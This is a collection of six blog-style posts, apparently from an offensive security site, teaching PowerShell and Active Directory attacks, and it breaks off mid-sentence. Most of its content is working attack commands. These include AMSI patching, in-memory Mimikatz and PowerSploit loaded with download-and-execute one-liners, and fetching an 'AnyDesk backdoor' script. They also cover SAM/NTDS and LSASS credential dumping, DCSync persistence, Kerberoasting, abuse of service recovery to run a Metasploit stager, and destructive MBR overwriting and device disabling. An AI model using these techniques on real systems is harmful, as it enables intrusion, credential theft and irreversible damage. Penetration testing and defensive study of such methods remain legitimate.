Welcome back, pentesters!

Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.

A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.  

What is a GPO

A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more. 

Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it. 

We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.

Here is how you set it up:

PS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'

PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'

PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurr

What GPOs Exist?

Before we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets. 

PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSize

For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).

As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.

It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it. 

Where Do They Apply?

Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.

PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSize

Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.

Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.

You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.

The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.

Let’s list what computers are in Workstations-Temp.

PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedName

Look Inside the GPOs

Now that we know which GPOs hit Workstations-Temp, we can find out what they actually do.

PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObject

Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.

You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.

Listing Files

For the reason mentioned above, we won’t trust the output and list all the files ourselves. 

PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSize

Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.

Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.

Decrypting the Password

Let’s take a look at Groups.xml and see its structure. 

PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xml

Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there. 

kali > nxc smb DC -u user -p password 

Permission to Change 

Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.

PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSize

This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.

In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.

A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.

Ownership

An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big. 

PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSize

In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.

If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.

Summary

We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times. 

There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.

Welcome back, cyberwarriors!

In this part of the series, we’re looking at how PowerShell can cause serious damage when nothing is restricting it. We’ll show how it can slow systems down and knock them off completely. You’ll see how hardware interfaces can get disabled, license keys wiped and a blue screen forced with machines left unbootable.

All these techniques are destructive, but our goal here is to show you that you shouldn’t just monitor command execution in PowerShell, you should also experiment with Language Modes to limit the attack surface if a workstation gets compromised. If these scripts are misused in the wrong context, the results can be irreversible.

We’ll begin with the basics and then move toward the dangerous things. 

Overloading RAM

The loadram.ps1 script works by aggressively consuming system memory. It allocates large arrays until nearly all available RAM is exhausted, leaving only a small buffer so the OS does not immediately collapse. The machine becomes unusable and applications stop responding.

This type of attack can be used as a DoS tactic to slow down a server, or it can act as a distraction, while other activity takes place.

PS > .\loadram.ps1

Overloading CPU

The loadcpu.ps1 script applies the same principle to processor cores, pinning usage at 100% until the script is terminated. Just as with RAM exhaustion, this script can serve as a cover while hackers are doing something else.

PS > .\loadcpu.ps1

Windows License Killer

The license.ps1 script clears Windows product keys by wiping out OEM, retail and volume license entries from the registry. The system becomes stripped of activation data. After restarting the Software Protection Service, Windows will be unlicensed and may refuse to validate against Microsoft servers.

PS > .\license.ps1

Then you can check the product key:

PS > (Get-WmiObject -query 'select  from SoftwareLicensingService').OA3xOriginalProductKey

The result should be empty. 

USB and Network Killer

You can also kill network adapters and USB controllers using killer.ps1 script. Once you run it, the mouse and keyboard will stop working. There will be no way to transfer files, connect to the network or even plug in a recovery device without significant intervention.

PS > .\killer.ps1

Mayhem by PowerSploit

PowerSploit includes a module called Mayhem, which has two destructive PowerShell functions. These are Set-CriticalProcess and Set-MasterBootRecord. Both directly attack the operating system itself.

Set-CriticalProcess

Windows protects smss.exe and csrss.exe by marking them as critical. If they are terminated, the system triggers a Blue Screen of Death. Set-CriticalProcess can tag any process with this critical status. Killing it immediately forces a system crash.

To use it, first copy the Mayhem module from the repository to:

C:\Program Files\WindowsPowerShell\Modules\

Then you can run Set-CriticalProcess:

PS > Set-CriticalProcess

Confirm with Y and expect the machine to blue screen in moments.

Set-MasterBootRecord

This is the most destructive of all. Unlike Set-CriticalProcess, this attack corrupts the Master Boot Record (MBR), which is the first sector of the hard drive. The MBR has the bootloader and partition table and without it Windows cannot load.

When it’s overwritten, the system may only display your custom message and will refuse to boot into the OS. Some malware does the same. The OS will work only if you fix the MBR, but chances are you will have to reinstall the OS. 

In our article on Digital Forensics we were repairing a corrupted drive where the MBR had been overwritten.

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!'

You can also force the system to reboot right after:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!' -Force -RebootImmediately

It will no longer boot into Windows.

Summary

We showed how far PowerShell can be pushed when used as a weapon. That alone should be enough to convince you to restrict its use and work with Language Modes to help protect your system. By default, workstations and servers are pretty permissive, which makes them comfortable to use. The same permissiveness is just as accommodating for a hacker who has breached a system through phishing. Restricted Language Mode is a must on workstations where users don’t need PowerShell in the first place.

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 5: How to Crash and Burn Windows first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.

RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.

How It Works

Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.

Here is how it works:

PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>

Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.

Abusing Service Recovery Function

For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.

PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService

As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.

Now let’s create a recovery plan for it. 

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”

PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService

Once the service crashes it will print the output of whoami into uev_temp.txt

UevAgentService can be started on boot or on demand:

# On demand - you will need to start it manually 
PS > sc.exe config UevAgentService start= demand

# On boot
PS > sc.exe config UevAgentService start= auto

Then we start it:

PS > sc.exe start UevAgentService

Now we can validate it by checking the state and the result:

PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt

As you can see, the service failed to start and Windows executed the recovery plan.

The example above is benign, but you can also try it in different ways. Here are a few examples:

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"

# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"

We set it up to execute a Metasploit stager and got our connection back.

Summary

Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.

Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.

The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.

Welcome back, pentesters!

For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.

Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.

AMSI Bypass

AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI  or to alter it so it won’t match detection rules.

You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on our target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we wouldn’t need any AMSI bypass.

Patching AMSI

We need to patch AMSI using our script. Let’s download it:

PS > wget   https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -O shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it. 

It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.

Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService  

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then we execute the script to dump SAM and SYSTEM hives:

PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1

PS > .\ntds.ps1

# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iex

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

kali > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.

Connect to the DC:

kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command to save them. Then run this command:

kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

PowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization. 

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, pentesters!

Over the past few months, we’ve been covering different ways to use PowerShell to survive, wreck and hack systems. We’ve also covered different scripts stored in our repository for you to use. All of them come in handy during pentests. 

Today we want to cover another tool called PsMapExec.

PsMapExec

It was developed by The-Viper-One and inspired by CrackMapExec/NetExec. PsMapExec doesn’t have identical features, but it’s got some stealth since it can load directly into memory without ever touching disk. It uses the current session to execute commands, so you don’t always need to know the victim’s password.

The script’s been around for a while but hasn’t gotten much attention, which is one of the reasons we decided to cover it here. Like most publicly available offensive tools, it’ll get flagged by AV if you load it directly. Sometimes hackers rewrite scripts, keeping the core functions intact, just to slip past the AV. On the other hand, finding a machine with no active antivirus isn’t always easy, but it’s almost always possible.

Loading in Memory

It’s best to execute the script directly in memory:

PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Now we can start working with it. 

Dumping SAM Hashes

One of the first things you do on a compromised host is dump hashes. There are two kinds. SAM gives you local user account hashes, while LSASS holds the hashes of all connected users.

To dump local accounts from a single machine:

PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutput

To dump local accounts from all machines in a domain:

PS > PsMapExec smb -Targets all -Module SAM -ShowOutput

The output is clean and only includes valid local accounts. But keep in mind, the less noise you make the better. 

Dumping LSASS Hashes

LSASS credentials get stored temporarily and hold domain user accounts you need to test Active Directory. In some organizations, critical users may belong to the Protected Users Group. That prevents their credentials from being cached in memory. It’s not something you see everywhere, but it’s worth noting.

To dump LSASS locally using an elevated shell:

PS > PsMapExec smb -Targets “localhost” -Module “LogonPasswords” -ShowOutput

If the current user doesn’t have permission, you need add admin credentials:

PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LogonPasswords” -ShowOutput

You can also dump LSASS on a remote host, as you can see above.

Remote Command Execution

Every network is different. Some companies segment it to prevent lateral movement. That adds complexity. In that case, you need to pivot. A pivot host will either have the network interface you need or be able to ping hosts on another subnet.

To view network interfaces on all domain machines:

PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

To query a single machine:

PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

You can execute other commands in the same way. When you find the host you need, enable WinRM on it:

PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”

WinRM is often used for lateral movement.

Kerberos Tickets

Another module is Kerbdump. It dumps Kerberos tickets from remote hosts and those tickets can be used for Pass the Ticket attacks. Some domains disable NTLM for security reasons and that’s when you’ll need these Kerberos tickets instead. Kerberos traffic is a normal and frequent part of AD traffic, so if you’ve got a choice between NTLM and Kerberos, go with Kerberos.

PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutput

The script parses the output and assigns these tickets to variables that you can use for lateral movement.

Kerberoasting

Kerberoasting is a different kind of attack. Unlike KerbDump, it doesn’t give you reusable tickets, these need to be cracked to recover the password. Every once in a while you’ll find domain admins or service accounts with an SPN assigned to them. That SPN is what makes them vulnerable to Kerberoasting. Sometimes hackers intentionally assign an SPN to a user just to crack their password, but that requires privileges. Kerberoasting itself doesn’t, so you can get a hashed admin password using just a regular low privileged domain user.

Set an SPN for a user:

PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

Then kerberoast that user:

PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutput

Ekeys

Kerberos tickets are encrypted using special encryption keys and you can extract those keys to decrypt or even forge tickets. That can be useful for persistence and lateral movement.

PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutput

Timeroasting

This attack exploits how AD machines sync their clocks using the Network Time Protocol (NTP). Hackers can get the hashes for computer accounts this way.

Computer passwords are big strings of random characters, you can’t really crack them, unless the password matches the computer name. That happens when a computer’s configured as a pre-Windows 2000 computer. In that case, the password is a lowercase computer name without the trailing $. Otherwise, passwords are randomly generated.

This attack doesn’t really happen that often, but some computer accounts may have privileges over other objects in Active Directory that your user doesn’t have, so compromising them makes sense. You’ll see this more in bigger companies.

PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutput

With domain admin privileges, you can turn a domain user into a domain computer, get the hash and then revert the change. That’s a very stealthy way to get crackable hashes. We covered this attack in our article.

Finding Files

Some users just store credentials in text files on their Desktop. The Files module will find non-default files within user directories.

PS > PsMapExec wmi -Targets all -Module Files -ShowOutput

ACL Persistence

Hackers make mistakes and defenders take measures to evict them. Once credentials get changed, there’s not much you can do, unless you have ACL persistence.

You’ll often see DCSync privileges granted as one of them. With a DCSync attack, your computer impersonates a domain controller and requests password hashes from the domain. Another common one is granting GenericAll over AdminSDHolder to a user or computer. That lets you add new members to Domain Admins and change the passwords of its members.

Assign DCSync privileges:

PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

NTDS Dump

The NTDS dump is the final stage once domain admin privileges are obtained. PsMapExec will get the NTDS.dit and extract all NTLM hashes from it. 

PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutput

NTDS has all accounts that have existed in the domain.

Summary

PsMapExec is a great tool if you’re into hacking with PowerShell. It’s practical and has some features NetExec doesn’t. We’ve only covered some of them here, so give it a try and see what else it has under the hood.

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Powershell for Hackers, Part 9: Hacking with PsMapExec first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Today we start our series on PowerShell for hackers. In this opening article we’ll explore the core techniques of PowerShell, starting with foundational concepts before working with PowerView and crafting scripts for backdoors, data exfiltration, and extracting password hashes.

The methods we cover here come from real engagements. You’ll see different terminals and interfaces, since we’ll be shifting targets. So get comfortable with older Windows systems, a lot of which are still in use today (ATMs, medical devices, point of sale systems, and so on), mainly due to budget constraints.

Defenders should also understand how Windows can be used for attacks, since they’re not limited to Linux only. Its administrative functions offer stealth during operations, which helps hackers stay under the radar.

Understanding PowerShell

PowerShell is a powerful scripting language that was initially designed for system administration and automation. It has direct access to the .NET framework and Windows Management Instrumentation (WMI), which gives you control over system components, processes and network configurations.

It also comes with “living off the land” (LOL) tools. These help hackers work without bringing in external binaries that could trigger alerts. That way they can discreetly execute commands, set up remote sessions, find credentials, check system configuration, manipulate the system, and run payloads in memory. PowerShell helps you blend into a normal system routine.

Now let’s look at its capabilities.

Core PowerShell Commands

To make the transition from Linux easy, here’s a table with common commands that exist in PowerShell.

That’s the backbone. It does have some unique commands too, but these are enough to start.

Legacy CMD commands are also supported. For instance, type will print the contents of a text file:

PS > type example.txt

It’s worth learning a few CMD commands just as a fallback.

You can change directories with cd, but sometimes you run into a non-English system where files and directories are in a foreign language. Evil-WinRM often struggles with this, corrupting the characters you type. In this case, you can use variables:

PS > $items = Get-ChildItem
PS > cd $items[4].FullName

Keep in mind, PowerShell uses zero based indexing (so $items[0] is the first item). This trick comes in handy when you have a PowerShell session inside some hacking tool that doesn’t play well with other languages.

Wildcards are another time-saver for complex file names:

PS > cat *.txt      # Displays all .txt files
PS > cd *           # Enters the only subdirectory in the current location
PS > cat 1*         # Reads files starting with "1"

When you’re digging through a lot of corporate data, changing directories manually gets exhausting. Use tree to recursively view the file structure:

PS > tree /F

Credential Harvesting

To move laterally you need credentials. You can find passwords manually on the Desktop, in the browser or in messaging apps, but this whole process can be automated with a one liner, since you never know where those credentials are sitting on a system.

Findstr

With findstr you can search for specific patterns in files or command outputs. It’s present on every Windows system:

PS > findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.gif *.ps1 *.yml

This searches recursively (/S), case insensitively (/I), for “password” across various files, listing matching files (/M).

Registry

The Windows Registry is another source of credentials. It stores system and user configurations. Here are some commands:

PS > reg query HKLM /f password /t REG_SZ /s

This searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password”, potentially finding credentials used by software or services.

PS > reg query HKCU /f password /t REG_SZ /s

This targets the HKEY_CURRENT_USER (HKCU) hive for user settings with “password”. This may have application configurations.

PS > reg query "HKCU\Software\ORL\WinVNC3\Password"

Extracts reversible password for WinVNC v3 credentials.

PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Checks autologin settings, which may have plaintext credentials like DefaultUsername and DefaultPassword if enabled.

PS > reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"

Checks Simple Network Management Protocol (SNMP) settings for community strings. These are weak credentials for network devices that are often overlooked by administrators.

PS > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Finds saved PuTTY (SSH) session data, including IP addresses and usernames

These reg queries can be used for quick credential discovery, that way you don’t run external tools.

LaZagne

LaZagne isn’t a PowerShell tool, but it’s often used to extract credentials. It looks for passwords in browsers, email clients, WiFi settings, FTP tools and databases by analyzing config files, registry entries and memory.

For example, discovering an Outlook password for a department head could be used for social engineering attacks. More articles on social engineering are available on our website.

SMB Hash Leak

The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens a folder with this file in it, Windows attempts an SMB connection, sending the user’s hashed credentials to your server. These hashes can then be cracked offline or relayed.

Using Inveigh, you can set up a fake SMB/HTTP listener:

PS > powershell -ep bypass
PS > . .\Inveigh.ps1
PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y

Success depends on timing and network interface configuration.

Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).

Managing Execution Policy

An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s a built-in warning system meant to stop users from accidentally running untrusted or harmful scripts. To bypass it for the current session:

PS > powershell -ep bypass

For a persistent change (you need admin privileges):

PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force

This disables script execution restrictions machine wide, unless Group Policy overrides it.

Downloading and Executing Files

You can use cmdlets like Invoke-WebRequest (iwr) or wget to download files. Besides these, there are plenty of other techniques out there that don’t get monitored.

Invoke-WebRequest

Using iwr you can download a script from GitHub

PS > powershell -c iwr -Uri https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1

Or simply type this:

PS > iwr https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1

Wget

That’s a well known Linux command. It works here as well:

PS > wget https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -O anydesk.ps1

Fileless Execution

This command downloads a script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without ever touching the disk. That’s a classic fileless execution technique.

PS > iex (Invoke-WebRequest -Uri 'http://pastebin.com/raw/7b4byHdd')

As you can see, our script successfully executed.

Downgrade Attacks

A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell (version 2.0) to bypass some modern security features.

PS > powershell -version 2

Antivirus Software

When you gain system access, always check whether the AV is running:

PS > Get-Service -Name windefend

For Kaspersky:

